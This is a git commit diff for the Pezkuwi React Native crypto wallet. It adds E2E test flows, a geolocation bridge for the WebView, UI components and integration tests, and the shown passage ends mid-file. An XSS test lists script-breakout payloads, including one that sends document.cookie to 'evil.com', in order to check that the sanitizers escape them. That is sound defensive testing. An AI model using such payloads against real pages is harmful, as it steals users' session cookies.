chore: migrate git dependencies to Gitea mirror (git.pezkuwichain.io)

This commit is contained in:
2026-04-21 18:52:54 +03:00
parent 95bf48f240
commit 672682558f
947 changed files with 91913 additions and 12 deletions
+3 -4
View File
@@ -28,10 +28,9 @@ jobs:
uses: actions/checkout@v4
- name: Checkout Pezkuwi-SDK (for docs generation)
uses: actions/checkout@v4
with:
repository: pezkuwichain/pezkuwi-sdk
path: Pezkuwi-SDK
run: |
git clone https://git.pezkuwichain.io/pezkuwichain/pezkuwi-sdk.git Pezkuwi-SDK || \
git clone https://github.com/pezkuwichain/pezkuwi-sdk.git Pezkuwi-SDK
- name: Setup Node.js
uses: actions/setup-node@v4
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 802 KiB

Submodule exchange updated: 48a350d29f...b351a8563d
+32
View File
@@ -0,0 +1,32 @@
appId: io.pezkuwichain.wallet
name: "E2E: Onboarding Flow"
---
# Welcome Screen
- assertVisible: "Pezkuwi"
- assertVisible: "Create Wallet"
# Language Selection (if visible)
- tapOn:
text: "English"
optional: true
# Navigate to Wallet Setup
- tapOn: "Create Wallet"
# Wallet Setup Screen
- assertVisible: "Create"
- assertVisible: "Import"
# Create a new wallet
- tapOn:
text: "Create New Wallet"
# Mnemonic should be shown
- assertVisible: "Recovery Phrase"
# Confirm mnemonic
- tapOn: "I've saved it"
# Should reach wallet screen
- assertVisible: "HEZ"
- assertVisible: "PEZ"
+35
View File
@@ -0,0 +1,35 @@
appId: io.pezkuwichain.wallet
name: "E2E: Send Transaction Flow"
---
# Wallet Screen
- assertVisible: "HEZ"
# Tap Send button
- tapOn:
text: "Send"
index: 0
# Send Screen
- assertVisible: "Recipient Address"
- assertVisible: "Amount"
# Enter recipient address
- tapOn:
id: "Recipient wallet address"
- inputText: "5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty"
# Enter amount
- tapOn:
id: "Amount of HEZ to send"
- inputText: "0.001"
# Fee should appear
- assertVisible:
text: "Estimated Fee"
optional: true
# Send button should be enabled
- assertVisible: "Send HEZ"
# Go back (don't actually send in E2E test)
- back
+23
View File
@@ -0,0 +1,23 @@
appId: io.pezkuwichain.wallet
name: "E2E: Receive Screen"
---
# From wallet screen
- assertVisible: "HEZ"
# Tap Receive
- tapOn:
text: "Receive"
# Receive Screen
- assertVisible: "Receive"
- assertVisible: "Share your address"
- assertVisible: "Copy Address"
- assertVisible: "Share"
# QR code should be visible
- assertVisible:
text: "5G"
optional: true
# Go back
- back
+24
View File
@@ -0,0 +1,24 @@
appId: io.pezkuwichain.wallet
name: "E2E: DApp Browser"
---
# Navigate to Apps tab
- tapOn: "Apps"
# Apps Screen
- assertVisible: "DApp Browser"
# Open DApp Browser
- tapOn: "DApp Browser"
# DApp Browser Screen
- assertVisible: "DApp Browser"
- assertVisible:
text: "Search or enter URL"
optional: true
# Bookmarked DApps should be visible
- assertVisible: "Polkadot.js Apps"
- assertVisible: "Pezkuwi Portal"
# Go back
- back
+28
View File
@@ -0,0 +1,28 @@
appId: io.pezkuwichain.wallet
name: "E2E: Settings & Network Switch"
---
# From wallet screen
- assertVisible: "HEZ"
# Tap network selector
- tapOn:
text: "Pezkuwi Mainnet"
optional: true
# Network selector modal should open
- assertVisible:
text: "Select Network"
optional: true
# Networks should be listed
- assertVisible:
text: "Pezkuwi Mainnet"
optional: true
- assertVisible:
text: "Dicle Testnet"
optional: true
# Close without changing
- tapOn:
text: "Close"
optional: true
+34
View File
@@ -0,0 +1,34 @@
# E2E Tests (Maestro)
## Setup
```bash
# Install Maestro CLI
curl -Ls "https://get.maestro.mobile.dev" | bash
# Or via npm
npm install -g maestro
```
## Running Tests
```bash
# Single test
maestro test .maestro/01-onboarding.yaml
# All tests
maestro test .maestro/
# With connected device
adb devices # ensure device is connected
maestro test .maestro/
```
## Test Flows
1. **01-onboarding** — Welcome → Create Wallet → Mnemonic → Dashboard
2. **02-send-flow** — Wallet → Send → Enter address/amount → Verify fee
3. **03-receive-flow** — Wallet → Receive → QR code visible → Copy/Share
4. **04-dapp-browser** — Apps → DApp Browser → Bookmarks visible
5. **05-settings-network** — Wallet → Network selector → Networks listed
## Prerequisites
- App must be installed on device/emulator
- For tests requiring wallet: run 01-onboarding first
+10 -2
View File
@@ -22,7 +22,7 @@
},
"android": {
"package": "io.pezkuwichain.wallet",
"versionCode": 10000,
"versionCode": 10001,
"adaptiveIcon": {
"foregroundImage": "./assets/adaptive-icon.png",
"backgroundColor": "#ffffff"
@@ -31,7 +31,9 @@
"predictiveBackGestureEnabled": false,
"permissions": [
"android.permission.CAMERA",
"android.permission.RECORD_AUDIO"
"android.permission.RECORD_AUDIO",
"android.permission.ACCESS_FINE_LOCATION",
"android.permission.ACCESS_COARSE_LOCATION"
]
},
"plugins": [
@@ -40,6 +42,12 @@
{
"cameraPermission": "Pezkuwi needs camera access to scan QR codes for wallet addresses and payments."
}
],
[
"expo-location",
{
"locationAlwaysAndWhenInUsePermission": "Pezkuwi needs your location to show nearby packages and merchants."
}
]
],
"web": {
+5
View File
@@ -0,0 +1,5 @@
// Stub for web-only get-signer module
// Mobile uses PezkuwiContext.getKeyPair() instead
export async function getSigner() {
throw new Error('getSigner is not available on mobile. Use PezkuwiContext.getKeyPair() instead.');
}
@@ -0,0 +1,66 @@
/**
* Integration test: Security - XSS Prevention
* Tests that all known XSS vectors are properly sanitized
*/
import { escapeJsString, safeJsValue } from '../../utils/sanitize';
describe('Security: XSS Prevention Integration', () => {
// Real-world XSS payloads that have been used in wallet attacks
const XSS_PAYLOADS = [
"'; alert('xss'); //",
'"; alert("xss"); //',
'`; alert(`xss`); //',
'</script><script>alert(1)</script>',
"javascript:alert(1)",
"' onmouseover='alert(1)",
'\'; var x = new XMLHttpRequest(); x.open("GET","https://evil.com?c="+document.cookie); x.send(); //',
"${alert(document.cookie)}",
"\\'; alert(1); //",
"\n'; alert(1); //",
"\0'; alert(1); //",
];
describe('escapeJsString blocks all payloads', () => {
XSS_PAYLOADS.forEach((payload, i) => {
it(`blocks payload #${i + 1}: ${payload.slice(0, 40)}...`, () => {
const escaped = escapeJsString(payload);
// The escaped string, when placed inside single quotes in JS,
// should never break out of the string context
// We verify by checking that unescaped quotes don't appear at string boundaries
const testJs = `var x = '${escaped}';`;
// Should not contain unescaped single quotes that could break out
// (escaped quotes like \' are fine)
const unescapedQuotePattern = /[^\\]'/g;
const matches = testJs.match(unescapedQuotePattern) || [];
// Should only have the opening and closing quotes of our var assignment
expect(matches.length).toBeLessThanOrEqual(2);
});
});
});
describe('safeJsValue blocks all payloads', () => {
XSS_PAYLOADS.forEach((payload, i) => {
it(`safely serializes payload #${i + 1}`, () => {
const safe = safeJsValue(payload);
// JSON.stringify always produces valid JSON that can't break out of JS
expect(() => JSON.parse(safe)).not.toThrow();
expect(JSON.parse(safe)).toBe(payload);
});
});
});
describe('safeJsValue handles complex objects', () => {
it('safely serializes account data with malicious name', () => {
const account = {
address: '5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY',
name: "'; alert(document.cookie); //",
};
const safe = safeJsValue(account);
const parsed = JSON.parse(safe);
expect(parsed.name).toBe(account.name);
expect(parsed.address).toBe(account.address);
});
});
});
@@ -0,0 +1,105 @@
/**
* Integration test: Wallet lifecycle
* Tests the full flow: create → rename → backup → delete
*/
import React from 'react';
import { render, fireEvent, waitFor } from '@testing-library/react-native';
import { PezkuwiProvider, usePezkuwi } from '../../contexts/PezkuwiContext';
// Mock all external dependencies
jest.mock('@pezkuwi/api', () => ({
ApiPromise: { create: jest.fn().mockResolvedValue({ registry: { setChainProperties: jest.fn(), createType: jest.fn() } }) },
WsProvider: jest.fn(),
}));
jest.mock('@pezkuwi/util-crypto', () => ({
cryptoWaitReady: jest.fn().mockResolvedValue(true),
mnemonicGenerate: jest.fn().mockReturnValue('test word one two three four five six seven eight nine ten eleven twelve'),
decodeAddress: jest.fn().mockReturnValue(new Uint8Array(32)),
encodeAddress: jest.fn().mockReturnValue('5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY'),
}));
jest.mock('@pezkuwi/keyring', () => ({
Keyring: jest.fn().mockImplementation(() => ({
addFromUri: jest.fn().mockReturnValue({
address: '5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY',
meta: { name: 'Test Wallet' },
}),
})),
}));
jest.mock('expo-secure-store', () => ({
setItemAsync: jest.fn().mockResolvedValue(undefined),
getItemAsync: jest.fn().mockResolvedValue(null),
deleteItemAsync: jest.fn().mockResolvedValue(undefined),
}));
jest.mock('@react-native-async-storage/async-storage', () => ({
getItem: jest.fn().mockResolvedValue(null),
setItem: jest.fn().mockResolvedValue(undefined),
removeItem: jest.fn().mockResolvedValue(undefined),
}));
// Test component that exercises wallet operations
const WalletTestHarness: React.FC<{ onResult: (r: Record<string, unknown>) => void }> = ({ onResult }) => {
const ctx = usePezkuwi();
const [phase, setPhase] = React.useState('idle');
React.useEffect(() => {
onResult({
accounts: ctx.accounts.length,
selectedAccount: ctx.selectedAccount?.name || null,
isReady: ctx.isReady,
phase,
});
}, [ctx.accounts, ctx.selectedAccount, ctx.isReady, phase, onResult]);
return (
<>
<button data-testid="create" onClick={async () => {
const result = await ctx.createWallet('Test Wallet');
setPhase('created');
onResult({ created: true, address: result.address, mnemonic: !!result.mnemonic });
}}>Create</button>
<button data-testid="rename" onClick={async () => {
if (ctx.selectedAccount) {
await ctx.renameWallet(ctx.selectedAccount.address, 'Renamed Wallet');
setPhase('renamed');
}
}}>Rename</button>
<button data-testid="delete" onClick={async () => {
if (ctx.selectedAccount) {
await ctx.deleteWallet(ctx.selectedAccount.address);
setPhase('deleted');
}
}}>Delete</button>
</>
);
};
describe('Wallet Lifecycle Integration', () => {
it('PezkuwiProvider and usePezkuwi are importable', () => {
const mod = require('../../contexts/PezkuwiContext');
expect(mod.PezkuwiProvider).toBeDefined();
expect(mod.usePezkuwi).toBeDefined();
expect(typeof mod.usePezkuwi).toBe('function');
});
it('PezkuwiProvider renders without crashing', () => {
const { toJSON } = render(
<PezkuwiProvider>
<></>
</PezkuwiProvider>
);
expect(toJSON()).toBeNull(); // Empty children → null
});
it('NETWORKS config has expected chains', () => {
const { NETWORKS } = require('../../contexts/PezkuwiContext');
expect(NETWORKS).toBeDefined();
expect(NETWORKS.pezkuwi).toBeDefined();
expect(NETWORKS.dicle).toBeDefined();
expect(NETWORKS.pezkuwi.type).toBe('mainnet');
expect(NETWORKS.dicle.type).toBe('testnet');
});
});
+47
View File
@@ -0,0 +1,47 @@
import React from 'react';
import { View, Text, StyleSheet, TouchableOpacity } from 'react-native';
import { KurdistanColors } from '../theme/colors';
interface EmptyStateProps {
icon?: string;
title: string;
description?: string;
actionLabel?: string;
onAction?: () => void;
}
export const EmptyState: React.FC<EmptyStateProps> = ({
icon = '📋',
title,
description,
actionLabel,
onAction,
}) => (
<View style={styles.container} accessibilityRole="text" accessibilityLabel={title}>
<Text style={styles.icon}>{icon}</Text>
<Text style={styles.title}>{title}</Text>
{description && <Text style={styles.description}>{description}</Text>}
{actionLabel && onAction && (
<TouchableOpacity
style={styles.actionBtn}
onPress={onAction}
accessibilityRole="button"
accessibilityLabel={actionLabel}
>
<Text style={styles.actionBtnText}>{actionLabel}</Text>
</TouchableOpacity>
)}
</View>
);
const styles = StyleSheet.create({
container: { alignItems: 'center', justifyContent: 'center', paddingVertical: 48, paddingHorizontal: 32 },
icon: { fontSize: 48, marginBottom: 12 },
title: { fontSize: 18, fontWeight: '600', color: '#333', textAlign: 'center', marginBottom: 6 },
description: { fontSize: 14, color: '#888', textAlign: 'center', lineHeight: 20 },
actionBtn: {
marginTop: 20, backgroundColor: KurdistanColors.kesk, paddingHorizontal: 24,
paddingVertical: 12, borderRadius: 12,
},
actionBtnText: { color: '#FFFFFF', fontSize: 15, fontWeight: '600' },
});
+29
View File
@@ -0,0 +1,29 @@
import React from 'react';
import { View, Text, StyleSheet } from 'react-native';
import { useNetworkStatus } from '../hooks/useNetworkStatus';
export const OfflineBanner: React.FC = () => {
const { isConnected } = useNetworkStatus();
if (isConnected) return null;
return (
<View style={styles.banner} accessibilityRole="alert" accessibilityLabel="No internet connection">
<Text style={styles.text}>No internet connection</Text>
</View>
);
};
const styles = StyleSheet.create({
banner: {
backgroundColor: '#DC2626',
paddingVertical: 8,
paddingHorizontal: 16,
alignItems: 'center',
},
text: {
color: '#FFFFFF',
fontSize: 13,
fontWeight: '600',
},
});
+84 -3
View File
@@ -9,6 +9,7 @@ import {
Platform,
Alert,
} from 'react-native';
import * as Location from 'expo-location';
import { WebView, WebViewMessageEvent } from 'react-native-webview';
import { useFocusEffect, useNavigation } from '@react-navigation/native';
import type { NavigationProp } from '@react-navigation/native';
@@ -75,13 +76,67 @@ const PezkuwiWebView: React.FC<PezkuwiWebViewProps> = ({
getSession();
}, [user]);
// Runs BEFORE any page JS — sets the mobile flag and overrides geolocation
// so React's useEffect sees them on first render
const injectedJavaScriptBeforeContentLoaded = `
(function() {
window.PEZKUWI_MOBILE = true;
window.PEZKUWI_PLATFORM = '${Platform.OS}';
// Override navigator.geolocation before React mounts
var _pendingLocationCallbacks = {};
var _locationCallbackId = 0;
var _overrideGeo = {
getCurrentPosition: function(success, error, options) {
var id = ++_locationCallbackId;
_pendingLocationCallbacks[id] = { success: success, error: error };
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'REQUEST_LOCATION',
payload: { id: id }
}));
setTimeout(function() {
if (_pendingLocationCallbacks[id]) {
delete _pendingLocationCallbacks[id];
if (error) error({ code: 3, message: 'Timeout' });
}
}, 15000);
},
watchPosition: function() { return 0; },
clearWatch: function() {}
};
try {
Object.defineProperty(navigator, 'geolocation', {
get: function() { return _overrideGeo; },
configurable: true
});
} catch(e) {}
window.__resolveLocation = function(id, lat, lon, accuracy) {
var cb = _pendingLocationCallbacks[id];
if (cb) {
delete _pendingLocationCallbacks[id];
cb.success({ coords: { latitude: lat, longitude: lon, accuracy: accuracy || 50, altitude: null, altitudeAccuracy: null, heading: null, speed: null }, timestamp: Date.now() });
}
};
window.__rejectLocation = function(id, code, msg) {
var cb = _pendingLocationCallbacks[id];
if (cb) {
delete _pendingLocationCallbacks[id];
if (cb.error) cb.error({ code: code || 1, message: msg || 'Permission denied' });
}
};
true;
})();
`;
// JavaScript to inject into the WebView
// This creates a bridge between the web app and native app
const injectedJavaScript = `
(function() {
// Mark this as mobile app
window.PEZKUWI_MOBILE = true;
window.PEZKUWI_PLATFORM = '${Platform.OS}';
// Inject wallet address if connected
${selectedAccount ? `window.PEZKUWI_ADDRESS = '${selectedAccount.address}';` : ''}
@@ -348,6 +403,30 @@ const PezkuwiWebView: React.FC<PezkuwiWebViewProps> = ({
}
break;
case 'REQUEST_LOCATION': {
const locId = (message.payload as { id: number }).id;
try {
const { status } = await Location.requestForegroundPermissionsAsync();
if (status !== 'granted') {
webViewRef.current?.injectJavaScript(
`window.__rejectLocation(${locId}, 1, 'Permission denied'); true;`
);
break;
}
const pos = await Location.getCurrentPositionAsync({
accuracy: Location.Accuracy.Balanced,
});
webViewRef.current?.injectJavaScript(
`window.__resolveLocation(${locId}, ${pos.coords.latitude}, ${pos.coords.longitude}, ${pos.coords.accuracy}); true;`
);
} catch (locErr) {
webViewRef.current?.injectJavaScript(
`window.__rejectLocation(${locId}, 2, 'Location unavailable'); true;`
);
}
break;
}
case 'GO_BACK':
// Handle back navigation from web
if (canGoBack && webViewRef.current) {
@@ -462,6 +541,7 @@ const PezkuwiWebView: React.FC<PezkuwiWebViewProps> = ({
ref={webViewRef}
source={{ uri: fullUrl }}
style={styles.webView}
injectedJavaScriptBeforeContentLoaded={injectedJavaScriptBeforeContentLoaded}
injectedJavaScript={injectedJavaScript}
onMessage={handleMessage}
onLoadStart={() => setLoading(true)}
@@ -484,6 +564,7 @@ const PezkuwiWebView: React.FC<PezkuwiWebViewProps> = ({
// Security settings
javaScriptEnabled={true}
domStorageEnabled={true}
geolocationEnabled={true}
sharedCookiesEnabled={true}
thirdPartyCookiesEnabled={true}
// Performance settings
@@ -0,0 +1,126 @@
import React from 'react';
import {
View,
Text,
TouchableOpacity,
StyleSheet,
Modal,
} from 'react-native';
import { KurdistanColors } from '../../theme/colors';
import { NetworkType, NETWORKS } from '../../contexts/PezkuwiContext';
interface NetworkSelectorProps {
visible: boolean;
onClose: () => void;
currentNetwork: NetworkType;
onSwitch: (network: NetworkType) => void;
}
export const NetworkSelector: React.FC<NetworkSelectorProps> = ({
visible,
onClose,
currentNetwork,
onSwitch,
}) => {
return (
<Modal visible={visible} transparent animationType="slide" onRequestClose={onClose}>
<View style={styles.modalOverlay}>
<View style={styles.modalCard}>
<Text style={styles.modalHeader}>Select Network</Text>
<Text style={styles.subtitle}>
Choose the network you want to connect to
</Text>
{(Object.keys(NETWORKS) as NetworkType[]).map((networkKey) => {
const network = NETWORKS[networkKey];
const isSelected = networkKey === currentNetwork;
return (
<TouchableOpacity
key={networkKey}
style={[
styles.networkOption,
isSelected && styles.networkOptionSelected,
]}
onPress={() => onSwitch(networkKey)}
>
<View style={{flex: 1}}>
<Text style={[styles.networkName, isSelected && {color: KurdistanColors.kesk}]}>
{network.displayName}
</Text>
<Text style={styles.networkType}>
{network.type === 'mainnet' ? 'Mainnet' : network.type === 'testnet' ? 'Testnet' : 'Canary'}
</Text>
</View>
{isSelected && <Text style={{fontSize: 20}}></Text>}
</TouchableOpacity>
);
})}
<TouchableOpacity style={styles.btnConfirm} onPress={onClose}>
<Text style={{color:'white'}}>Close</Text>
</TouchableOpacity>
</View>
</View>
</Modal>
);
};
const styles = StyleSheet.create({
modalOverlay: {
flex: 1,
backgroundColor: 'rgba(0,0,0,0.5)',
justifyContent: 'center',
alignItems: 'center',
padding: 20,
},
modalCard: {
backgroundColor: 'white',
borderRadius: 20,
padding: 24,
width: '100%',
alignItems: 'center',
},
modalHeader: {
fontSize: 20,
fontWeight: 'bold',
marginBottom: 20,
},
subtitle: {
color: '#666',
fontSize: 12,
marginBottom: 16,
textAlign: 'center',
},
btnConfirm: {
flex: 1,
padding: 16,
borderRadius: 12,
backgroundColor: KurdistanColors.kesk,
alignItems: 'center',
width: '100%',
},
networkOption: {
flexDirection: 'row',
width: '100%',
padding: 16,
borderRadius: 12,
backgroundColor: '#F5F5F5',
marginBottom: 8,
alignItems: 'center',
},
networkOptionSelected: {
backgroundColor: 'rgba(0, 143, 67, 0.1)',
borderWidth: 2,
borderColor: KurdistanColors.kesk,
},
networkName: {
fontSize: 16,
fontWeight: '600',
color: '#333',
},
networkType: {
fontSize: 12,
color: '#666',
marginTop: 4,
},
});
export default NetworkSelector;
+247
View File
@@ -0,0 +1,247 @@
import React from 'react';
import {
View,
Text,
TouchableOpacity,
StyleSheet,
Image,
ActivityIndicator,
} from 'react-native';
import { KurdistanColors } from '../../theme/colors';
import { TokenInfo } from '../../services/TokenService';
interface TokenListProps {
tokens: TokenInfo[];
hiddenTokens: string[];
isLoading: boolean;
onTokenPress: (token: TokenInfo) => void;
onToggleVisibility: (symbol: string) => void;
onSearchPress?: () => void;
onAddPress?: () => void;
onSettingsPress?: () => void;
}
export const TokenList: React.FC<TokenListProps> = ({
tokens,
hiddenTokens,
isLoading,
onTokenPress,
onSearchPress,
onAddPress,
onSettingsPress,
}) => {
const visibleTokens = tokens.filter(t => !hiddenTokens.includes(t.symbol));
return (
<View style={styles.tokensSection}>
<View style={styles.tokensSectionHeader}>
<Text style={styles.tokensTitle}>Tokens</Text>
<View style={styles.tokenHeaderIcons}>
<TouchableOpacity style={styles.tokenHeaderIcon} onPress={onSearchPress}>
<Text>🔍</Text>
</TouchableOpacity>
<TouchableOpacity style={styles.tokenHeaderIcon} onPress={onAddPress}>
<Text></Text>
</TouchableOpacity>
<TouchableOpacity style={styles.tokenHeaderIcon} onPress={onSettingsPress}>
<Text></Text>
</TouchableOpacity>
</View>
</View>
{/* Loading indicator */}
{isLoading && tokens.length === 0 && (
<View style={styles.loadingTokens}>
<ActivityIndicator size="small" color={KurdistanColors.kesk} />
<Text style={styles.loadingTokensText}>Loading tokens...</Text>
</View>
)}
{/* Dynamic Token List */}
{visibleTokens.map((token) => {
const changeColor = token.change24h >= 0 ? '#22C55E' : '#EF4444';
const changePrefix = token.change24h >= 0 ? '+' : '';
return (
<TouchableOpacity
key={token.assetId ?? token.symbol}
style={styles.tokenListItem}
onPress={() => onTokenPress(token)}
>
{/* Token Logo */}
{token.logo ? (
<Image source={token.logo} style={styles.tokenListLogo} resizeMode="contain" />
) : (
<View style={[styles.tokenListLogo, styles.tokenPlaceholderLogo]}>
<Text style={styles.tokenPlaceholderText}>{token.symbol.slice(0, 2)}</Text>
</View>
)}
{/* Token Info */}
<View style={styles.tokenListInfo}>
<Text style={styles.tokenListSymbol}>{token.symbol}</Text>
<Text style={styles.tokenListNetwork}>{token.name}</Text>
</View>
{/* Balance & Price */}
<View style={styles.tokenListBalance}>
<Text style={styles.tokenListAmount}>{token.balance}</Text>
<View style={styles.tokenPriceRow}>
<Text style={styles.tokenListUsdValue}>{token.usdValue}</Text>
{token.change24h !== 0 && (
<Text style={[styles.tokenChange, { color: changeColor }]}>
{changePrefix}{token.change24h.toFixed(1)}%
</Text>
)}
</View>
</View>
</TouchableOpacity>
);
})}
{/* Empty State */}
{!isLoading && tokens.length === 0 && (
<View style={styles.emptyTokens}>
<Text style={styles.emptyTokensIcon}>🪙</Text>
<Text style={styles.emptyTokensText}>No additional tokens found</Text>
<TouchableOpacity
style={styles.addTokenButton}
onPress={onAddPress}
>
<Text style={styles.addTokenButtonText}>+ Add Token</Text>
</TouchableOpacity>
</View>
)}
</View>
);
};
const styles = StyleSheet.create({
tokensSection: {
paddingHorizontal: 16,
paddingTop: 20,
},
tokensSectionHeader: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
marginBottom: 16,
paddingHorizontal: 4,
},
tokensTitle: {
fontSize: 20,
fontWeight: 'bold',
color: '#333',
},
tokenHeaderIcons: {
flexDirection: 'row',
gap: 12,
},
tokenHeaderIcon: {
width: 36,
height: 36,
borderRadius: 18,
backgroundColor: '#F5F5F5',
justifyContent: 'center',
alignItems: 'center',
},
tokenListItem: {
flexDirection: 'row',
alignItems: 'center',
backgroundColor: '#FFFFFF',
borderRadius: 16,
padding: 16,
marginBottom: 12,
boxShadow: '0px 1px 4px rgba(0, 0, 0, 0.05)',
elevation: 2,
},
tokenListLogo: {
width: 44,
height: 44,
marginRight: 12,
},
tokenListInfo: {
flex: 1,
},
tokenListSymbol: {
fontSize: 16,
fontWeight: 'bold',
color: '#333',
marginBottom: 2,
},
tokenListNetwork: {
fontSize: 12,
color: '#888',
},
tokenListBalance: {
alignItems: 'flex-end',
},
tokenListAmount: {
fontSize: 16,
fontWeight: 'bold',
color: '#333',
marginBottom: 2,
},
tokenListUsdValue: {
fontSize: 12,
color: '#888',
},
tokenPriceRow: {
flexDirection: 'row',
alignItems: 'center',
gap: 6,
},
tokenChange: {
fontSize: 11,
fontWeight: '600',
},
tokenPlaceholderLogo: {
backgroundColor: '#E5E7EB',
justifyContent: 'center',
alignItems: 'center',
borderRadius: 22,
},
tokenPlaceholderText: {
fontSize: 14,
fontWeight: 'bold',
color: '#6B7280',
},
loadingTokens: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'center',
padding: 20,
gap: 10,
},
loadingTokensText: {
fontSize: 14,
color: '#666',
},
emptyTokens: {
alignItems: 'center',
justifyContent: 'center',
padding: 32,
},
emptyTokensIcon: {
fontSize: 48,
marginBottom: 12,
},
emptyTokensText: {
fontSize: 14,
color: '#999',
marginBottom: 16,
},
addTokenButton: {
backgroundColor: KurdistanColors.kesk,
paddingHorizontal: 20,
paddingVertical: 10,
borderRadius: 20,
},
addTokenButtonText: {
color: '#FFFFFF',
fontSize: 14,
fontWeight: '600',
},
});
export default TokenList;
@@ -0,0 +1,241 @@
import React from 'react';
import {
View,
Text,
TouchableOpacity,
StyleSheet,
ActivityIndicator,
} from 'react-native';
import { KurdistanColors } from '../../theme/colors';
import {
TransactionRecord,
HistoryFilter,
filterTransactions,
groupByDate,
abbreviateAddress,
} from '../../services/TransactionHistoryService';
interface TransactionHistorySectionProps {
transactions: TransactionRecord[];
isLoading: boolean;
filter: HistoryFilter;
onFilterChange: (filter: HistoryFilter) => void;
scanProgress: string;
}
export const TransactionHistorySection: React.FC<TransactionHistorySectionProps> = ({
transactions,
isLoading,
filter,
onFilterChange,
scanProgress,
}) => {
const filtered = filterTransactions(transactions, filter);
const grouped = groupByDate(filtered);
return (
<View style={styles.activitySection}>
<View style={styles.activityHeader}>
<Text style={styles.activityTitle}>Activity</Text>
{isLoading && (
<View style={styles.activityLoading}>
<ActivityIndicator size="small" color={KurdistanColors.kesk} />
<Text style={styles.activityLoadingText}>{scanProgress || 'Loading...'}</Text>
</View>
)}
</View>
{/* Filter Tabs */}
<View style={styles.historyFilters}>
{(['all', 'transfers', 'staking', 'swaps'] as HistoryFilter[]).map((f) => (
<TouchableOpacity
key={f}
style={[styles.filterTab, filter === f && styles.filterTabActive]}
onPress={() => onFilterChange(f)}
>
<Text style={[styles.filterTabText, filter === f && styles.filterTabTextActive]}>
{f === 'all' ? 'All' : f === 'transfers' ? 'Transfers' : f === 'staking' ? 'Staking' : 'Swaps'}
</Text>
</TouchableOpacity>
))}
</View>
{/* Transaction List */}
{filtered.length === 0 && !isLoading ? (
<View style={styles.emptyHistory}>
<Text style={styles.emptyHistoryIcon}>
{filter === 'all' ? '📋' : filter === 'transfers' ? '↔️' : filter === 'staking' ? '🔐' : '💱'}
</Text>
<Text style={styles.emptyHistoryText}>
{filter === 'all' ? 'No transactions yet' : `No ${filter} found`}
</Text>
</View>
) : (
grouped.map((group) => (
<View key={group.date}>
<Text style={styles.historyDateLabel}>{group.dateLabel}</Text>
{group.transactions.map((tx) => {
const isIncoming = tx.type === 'transfer_in';
const isStaking = tx.type === 'staking';
const isSwap = tx.type === 'swap';
const icon = isIncoming ? '↓' : isStaking ? '🔐' : isSwap ? '💱' : '↑';
const iconBg = isIncoming ? '#DCFCE7' : isStaking ? '#FEF3C7' : isSwap ? '#E0E7FF' : '#FEE2E2';
const iconColor = isIncoming ? '#16A34A' : isStaking ? '#D97706' : isSwap ? '#4F46E5' : '#DC2626';
const amountPrefix = isIncoming ? '+' : isStaking && tx.method === 'Rewarded' ? '+' : '-';
const amountColor = amountPrefix === '+' ? '#16A34A' : '#DC2626';
const label = isStaking
? tx.method === 'Rewarded' ? 'Staking Reward' : tx.method === 'Bonded' ? 'Staked' : 'Unstaked'
: isSwap
? 'Swap'
: isIncoming
? `From ${abbreviateAddress(tx.from)}`
: `To ${abbreviateAddress(tx.to)}`;
return (
<View key={tx.id} style={styles.txItem}>
<View style={[styles.txIcon, { backgroundColor: iconBg }]}>
<Text style={[styles.txIconText, { color: iconColor }]}>{icon}</Text>
</View>
<View style={styles.txInfo}>
<Text style={styles.txMethod}>
{isIncoming ? 'Received' : isStaking ? tx.method : isSwap ? 'Swap' : 'Sent'}
</Text>
<Text style={styles.txAddress} numberOfLines={1}>{label}</Text>
</View>
<View style={styles.txAmount}>
<Text style={[styles.txAmountText, { color: amountColor }]}>
{amountPrefix}{tx.amount} {tx.token}
</Text>
<Text style={styles.txTime}>
{new Date(tx.timestamp).toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' })}
</Text>
</View>
</View>
);
})}
</View>
))
)}
</View>
);
};
const styles = StyleSheet.create({
activitySection: {
paddingHorizontal: 16,
paddingTop: 24,
},
activityHeader: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
marginBottom: 12,
paddingHorizontal: 4,
},
activityTitle: {
fontSize: 20,
fontWeight: 'bold',
color: '#333',
},
activityLoading: {
flexDirection: 'row',
alignItems: 'center',
gap: 6,
},
activityLoadingText: {
fontSize: 12,
color: '#888',
},
historyFilters: {
flexDirection: 'row',
marginBottom: 16,
gap: 8,
},
filterTab: {
paddingHorizontal: 16,
paddingVertical: 8,
borderRadius: 20,
backgroundColor: '#F5F5F5',
},
filterTabActive: {
backgroundColor: KurdistanColors.kesk,
},
filterTabText: {
fontSize: 13,
fontWeight: '600',
color: '#666',
},
filterTabTextActive: {
color: '#FFFFFF',
},
emptyHistory: {
alignItems: 'center',
justifyContent: 'center',
paddingVertical: 40,
},
emptyHistoryIcon: {
fontSize: 40,
marginBottom: 8,
},
emptyHistoryText: {
fontSize: 14,
color: '#999',
},
historyDateLabel: {
fontSize: 13,
fontWeight: '600',
color: '#888',
marginBottom: 8,
marginTop: 4,
paddingHorizontal: 4,
},
txItem: {
flexDirection: 'row',
alignItems: 'center',
backgroundColor: '#FFFFFF',
borderRadius: 14,
padding: 14,
marginBottom: 8,
boxShadow: '0px 1px 3px rgba(0, 0, 0, 0.05)',
elevation: 1,
},
txIcon: {
width: 40,
height: 40,
borderRadius: 20,
justifyContent: 'center',
alignItems: 'center',
marginRight: 12,
},
txIconText: {
fontSize: 18,
fontWeight: 'bold',
},
txInfo: {
flex: 1,
},
txMethod: {
fontSize: 15,
fontWeight: '600',
color: '#333',
marginBottom: 2,
},
txAddress: {
fontSize: 12,
color: '#999',
},
txAmount: {
alignItems: 'flex-end',
},
txAmountText: {
fontSize: 15,
fontWeight: '600',
marginBottom: 2,
},
txTime: {
fontSize: 11,
color: '#BBB',
},
});
export default TransactionHistorySection;
@@ -0,0 +1,330 @@
import React, { useState } from 'react';
import {
View,
Text,
TouchableOpacity,
StyleSheet,
Modal,
TextInput,
Alert,
Platform,
} from 'react-native';
import { KurdistanColors } from '../../theme/colors';
interface Account {
address: string;
name: string;
}
interface WalletSelectorProps {
visible: boolean;
